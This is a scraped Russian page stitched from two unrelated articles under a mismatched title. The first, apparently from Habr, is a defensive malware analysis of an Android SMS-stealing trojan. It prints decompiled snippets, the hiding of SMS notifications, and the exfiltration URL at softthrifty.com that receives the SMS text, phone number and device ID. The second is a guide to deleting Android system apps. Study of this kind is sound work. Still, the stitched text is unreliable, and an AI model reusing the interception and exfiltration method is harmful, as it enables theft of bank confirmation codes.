Todos apk что это

Разбор вредоносной программы под Android на примере Trojan-Spy.AndroidOS.Zbot.a / Android.Smssniffer / Android/SpySMS / AndroidOS_SMSREP.B

Todos apk что это

топика можно представить в таком виде: 1. Общая информация об APK-файлах 2. Разбор вредоноса 2.1 Утилиты для разбора 2.2 Разбор

1. Информация об APK-файлах

Для того, чтобы лучше понять особенности исследования вредоносных программ под Android необходимо сначала разобраться с тем, что такое APK-файлы. Если вам это уже известно, то можете сразу переходить ко второй части. Программы под Android распространяются в архивах.

Эти архивы имеют расширение «.apk». Такие файлы не шифруются и являются совместимыми с форматом «zip», фактически являясь его подмножеством. Так как пользовательские приложения для Android выполняются в java-машине, то APK-файлы наследуют все характерные черты JAR-файлов.

Содержимое архива обычно выглядит примерно так: Каталог META-INF содержит: CERT.RSA — сертификат приложения CERT.SF — контрольные суммы файлов ресурсов (картинок, звуков и т.д.) MANIFEST.

MF — служебная информация, описывающая сам apk-файл Каталог res содержит ресурсы — иконки в нескольких разрешениеях, описание размещения элементов на форме в xml-файле. AndroidManifest.

xml — служебная информация о приложении (версия SDK, которым приложение создавалось, версию ОС под которой приложение будет работать и т.д.).

В этом файле содержатся и так называемые «permission» — разрешения, которые требуются для работы приложения (например, доступ к сети или доступ к телефонной книге). classes.dex — исполняемый код приложения. Именно этот файл интересует нас в первую очередь resources.arsc — таблица ресурсов. В этом файле собраны xml-описания всех ресурсов Вот и вся краткая информация, которую нужно знать, приступая к разбору вредоносных программ под Android.

2. Разбор вредоноса

В качестве примера мы выбрали экземпляр, который детектируется разными антивирусами как: Trojan-Spy.AndroidOS.Zbot.a Android.

Smssniffer Android/SpySMS AndroidOS_SMSREP.B

Больше результатов сканирования — www.virustotal.com/file-scan/report.

html?id=f6239ba0487ffcf4d09255dba781440d2600d3c509e66018e6a5724912df34a9-1310615090

Итак, у нас есть файл suspicious.apk. Что же с ним делать?

2.1 Утилиты для разбора

Потребуются такие утилиты:

Android SDK

Конвертер dex- и apk-файлов в jar «dex2jar»
Декомпилятор байт-кода Java (jar-файлов) в понятный вид Все утилиты доступны для свободного скачивания и являются кроссплатформенными, так что вы сможете выполнять все действия и в Windows и в Linux.

2.2 Разбор

В самом начале, для того, чтобы лучше понять, что именно искать нужно проанализировать файл «AndroidManifest.xml» — посмотреть, какие именно разрешения-permissions требуются анализируемому приложению. Данный файл бинарный, а не обычный текстовый xml.

Для того, чтобы его прочитать нужно воспользоваться консольной утилитой «aapt» из комплекта Android SDK. Она находится в каталоге «platform-tools». Так как графического интерфейса нет, то команду нужно вводить в консоли. Например, для Windows:

Читайте также  Как узнать что грузит процессор Windows 7

C:\android-sdk-windows\platform-tools\aapt.

exe l -a C:\incoming\suspicious.apk

Разумеется, вы должны подставить свои пути. В Linux команда будет такой же с очевидными отличиями (не будет букв дисков и расширения «exe» у утилиты). Для большего удобства вывод можно перенаправить в файл:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

В файле нужно найти секцию «Android manifest» и искать перечисление разрешений. В анализируемом файле это выглядит так:

«android.permission.READ_PHONE_STATE» (Raw: «android.permission.READ_PHONE_STATE») «android.permission.INTERNET» (Raw: «android.permission.INTERNET»)

«android.permission.» (Raw: «android.permission.RECEIVE_SMS»)

Из этой информации становится понятно, что программа может получать состояние телефона (сюда включаются, например «телефон в режиме вызова», «телефон в режиме принятия данных» полный список состояний — developer.android.

com/reference/android/telephony/TelephonyManager.html, это разрешение нужно и для получения номера телефона, на котором запущена программа), работать с сетью и мониторить приход СМС.

На этих аспектах и нужно сосредоточить внимание при дальнейшем анализе.

Для того, чтобы получить доступ к коду нужно выполнить два шага — преобразовать apk-файл в jar-файл и декомпилировать полученный байткод в более понятный для человека вид. Воспользуемся конвертером «dex2jar»:

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

Сконвертированный файл будет находится в том же каталоге, что и оригинальный файл. К его имени будет добавлено «.dex2jar.jar», то есть в данном примере это будет «suspicious.apk.dex2jar.jar». Этот файл можно открыть декомпилятором. Иерархия пакета в окне декомпилятора выглядит так: На этом подготовительные шаги, поддающиеся легкому описанию, заканчиваются — дальнейший успех зависит только от вашего знания java и умения пользоваться поисковиком. К счастью, экземпляр выбранный для примера имеет довольно скромные размеры — финальный jar всего 7,01 KB. В программе всего шесть классов. Исключим те, которые не представляют интереса. Это класс R, в котором только перечислены идентификаторы всех ресурсов. Так же из рассмотрения можно исключить класс Config, в котором содержится конфигурация билда. Рассмотрим подробнее оставшиеся три класса.

Activation

Этот класс срабатывает по событию onCreate, то есть сразу после старта приложения.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService(«phone»); — создает структуру localTelephonyManager, в которую помещает данные об устройстве

str1 = localTelephonyManager.getDeviceId(); — выбирает из полученных данных идентификационный номер устройства и помещает его в строку str1

Дальше идет цикл, который делит DeviceId на кусочки по четыре цифры, вставляя между ними дефис «-«, то есть из XXXXXXXXXXXXXXXX получается XXXX-XXXX-XXXX-XXXX. Полученную строку цифр и дефисов передают в TextView с идентификатором 2131034112.

SmsReciever

Этот класс срабатывает при приходе СМС-сообщения, событие onReceive. В задачу этого класса входит отслеживать входящие смс и в случае обнаружения запускать класс MainService, передавая ему указатель на новопришедшее сообщение.

MainService

Этот класс довольно велик, поэтому не стану приводить его целиком.

Сразу после вызова запускает субкласс «SmsBlockerThread», который блокирует уведомление о поступившем СМС, чтобы пользователь не был оповещен о новом входящем СМС.

Затем входящее СМС обрабатывается таким образом:

Читайте также  Winpkg sereby что это

String str1 = localSmsMessage.getOriginatingAddress(); — номер телефона-получателя (то есть номер телефона, на котором установлен троянец) помещается в переменную str1

String str2 = localSmsMessage.getMessageBody(); — тело сообщения помещается в переменную str2

Затем создаются связанные пары localBasicNameValuePair1 и localBasicNameValuePair2 в которые помещаются значения

f0=

b0= Эти пары сохраняют в массив localArrayList, в который позже добавляют пару localBasicNameValuePair3, представляющую собой

id=

При этом, как видите, DeviceId получается заново, а не используется то, что было получено в классе Activation. Заканчивается все тем, что вызывается метод postRequest из последнего класса ServerSession: В качестве параметра передается тот самый массив пар, в котором номер телефона, содержимое СМС и идентификатор устройства.

ServerSession

Этот класс имеет два метода: initUrl, который возвращает часть ссылки «(http://softthrifty.com/security.jsp)»: и большой метод postRequest, который вызывался из класса MainService.

Несмотря на размер, задача postRequest проста — отправить на сервер по ссылке, возвращаемой методом initUrl, данные, добавив пары из массива, собранного в MainService.

То есть всего лишь обратиться по ссылке: (http://softthrifty.com/security.jsp?f0=&b0=&id=)

Итог

Итак, данный троянец перехватывает СМС и отправляет на сервер запрос, в котором передает номер зараженного телефона, содержимое СМС и идентификатор зараженного телефона.

Такое поведение может быть признаком банковского троянца, атакующего двухфакторную авторизацию. Такое же поведение было свойственно образцам Zbot для мобильной платформы Symbian.

Для успешной атаки требуется выполнение таких условий: 1) злоумышленник должен заразить компьютер жертвы, чтобы перехватить данные для он-лайн банкинга; 2) злоумышленник должен заразить телефон жертвы для перехвата СМС с кодом подтверждения от банка; 3) злоумышленник должен каким-то образом связать пользователя зараженного компьютера и зараженного телефона, чтобы знать, от каких учетных данных он-лайн банкинга данный код подтверждения;

Не знаю на сколько реальную угрозу представляют такие вредоносы, но в силу своих размеров и очевидности производимой деятельности такой образец хорошо подходит для демонстрации базовых приемов разбора вредоносных программ под Андроид.

  • malware reversing
  • android
  • вредоносное по
  • вирусы

Источник: https://habr.com/post/128555/

Удаление системных приложений Android

В одном из уроков по редактированию APK приложений Android, зачем и как правильно встроить приложения и сервисы в операционную систему, в данном же уроке рассмотрим, как правильно удалить из системы! Приступим!

Данный урок является продолжением Энциклопедии по редактированию apk.

Что необходимо!

Что означает для новичков? Если вы только начали познавать Android и делаете первые шаги в этом направление, понять смысл «как все работает» лучше использовать данные средства.

Нужно или не нужно удалять системное приложение

Удаляют системное приложение, только ради того чтобы, заменить на аналогичный, на более удобный вариант. Если вы удаляете ради того чтобы увеличить память чтобы расширить память для установки, то вы сильно ошибаетесь! Память и раздел для установки может быть:

/data/app или /storage/sdcard1

Тогда как системные приложения находятся в разделе /system

Если вы обновили системное приложение, предположим Google Maps, то обновление установиться в /data/app, а старая его версия останется в /system/app.

Читайте также  Увеличились значки на рабочем столе что делать

Поэтому, хорошо подумайте, возможно не нужно удалять системное приложение, возможно вам нужно, вручную встроить его?

Теоретические сведения

Системные приложения и сервисы находятся в разделе SYSTEM:

/system/app/name.apk

Если прошивка ODEX или отдельные ее части – то рядом с системным приложением может быть файл схожей по названию, но имеющей другое разрешение:

/system/app/name.odex

В некоторых файлах есть дополнительные библиотеки которые находятся:

/system/lib/name.so

Различные кеши и базы данных системных приложений и сервисов находятся:

/data/data/papka_prilogenia

Если прошивка DEODEX или отдельные ее части – то файлы находятся:

/data/dalwik-cache/name.dex

Или

/cache/dalvik-cache/name.dex

Также в смартфонах и планшетах марки Samsung как правило есть раздел Preload, в котором могут быть приложения и их odex файлы.

/preload/system/name.apk

/preload/system/name.odex

Плюс опять-таки в Samsung есть так называемые региональные не удаляемые приложения, которые каждый раз устанавливаются, если сделать полный сброс данных (wipe).

/system/usr/csc/name-region

Где под name-region может быть кодовое название вашего региона, для России и СНГ – SER, для Украины и СНГ – SEK.

Что можно удалять с системы?

На данный ответ можно найти 1000 ответов в интернете, которые утверждают, что можно, а что нельзя! Правильным ответом будут Ваш индивидуальный подход и предпочтения! Как гласит строка великого русского писателя А. С. Пушкин

«и опыт, сын ошибок трудных»

Все индивидуально, пока вы не совершите пару ошибок и не наберетесь опыта, вы не поймете, что удалять можно, а что нельзя!

Естественно есть небольшой свод правил, что можно удалить, если вы увидели схожее название, то его удалять не надо:

  • Wi-Fi
  • Bluetooth
  • Launcher
  • CSC
  • Settings
  • Phone
  • SMS
  • MMS

Золотое правило

Если вы что-то удаляете, то стоит подумать, чем заменить удаляемое приложение аналогичным.

Инструкция удаление системных приложений Android

Данная инструкция больше аналогичных в интернете, но зато показывает, как полностью и корректно удалить системное приложение

(для новичков)

ПОДГОТОВКА

  1. Открываем файловый менеджер копируем приложение на карту памяти, которое в дальнейшем необходимо переместить на компьютер
  2. Декомпилируйте его
  3. Откройте папку декомпилированного приложения
  4. Откройте с помощью файла Notepad ++ файл AndroidManifest.xml – найдите «имя проекта» (package)

5. Обратите внимание если в декомпилировнном приложение папка LIB, если есть, обратите внимание какие файлы там лежат.

С ростом опыта, данные действия делать будет не нужно.

Удаляем системное приложение

Чтобы было понятно, возьмем воображаемое приложение 1.apk

  1. Удаляем приложение в разделе /system/app/1.apk
  2. Удаляем файл ODEX приложение если прошивка одексирована /system/app/1.odex
  3. Удаляем библиотеки если в приложение была папка LIB. Переходим в папку /system/lib/ и удалить файл(ы) *.SO приложения
  4. Перейти в /data/data и удалить папку приложения («имя проекта»)
  5. Если прошивка была DEODEX то найти DEX файл приложения в /data/dalwik-cache или /cache/dalwik-cache, имя  приложение будет похоже на такой вид system@app@1.dex

Теперь осталось перезагрузить Android и все готово!

Удачных вам экспериментов!

Источник: https://androidp1.ru/delete-system-apk/

Понравилась статья? Поделить с друзьями: